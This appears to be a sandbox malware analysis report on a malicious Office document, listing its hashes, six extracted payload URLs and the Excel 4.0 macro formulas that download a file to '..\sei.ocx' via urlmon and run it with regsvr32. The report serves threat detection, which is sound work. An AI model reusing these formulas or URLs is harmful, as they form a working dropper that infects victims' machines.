General
-
Target
bb12502b055d2b5ec76c863fac4ac281d9f433ad1240699493ce3feae8143fa5
-
Size
46KB
-
MD5
18abc59ed3011fe6d105283674a6aecd
-
SHA1
22818eb190111b5d0a6fd3fe6b7d445e4b1b8bc5
-
SHA256
bb12502b055d2b5ec76c863fac4ac281d9f433ad1240699493ce3feae8143fa5
-
SHA512
5b69fd1cffac1a1921699a3412178d27638d7a64ef107dffc294cde65822d284b08160d0b836b2586a60e06402637d731a776095686394d51064523b2726f5ee
-
SSDEEP
768:EOo2ODOevZCwrvtzyzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfpDDG:EOo1D+tT5fTR4Lh1NisFYBc3cr+UqVfo
Malware Config
Extracted
http://gokcevizyon.com/sBaEb/
http://henrysfreshroast.com/fxNufTnf3ox/
http://sorathlions.com/tmp/z5mkAKCYsVW70w/
http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/
https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/
https://ewestern.com/k/vEQX/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gokcevizyon.com/sBaEb/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/fxNufTnf3ox/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/z5mkAKCYsVW70w/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ewestern.com/k/vEQX/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
bb12502b055d2b5ec76c863fac4ac281d9f433ad1240699493ce3feae8143fa5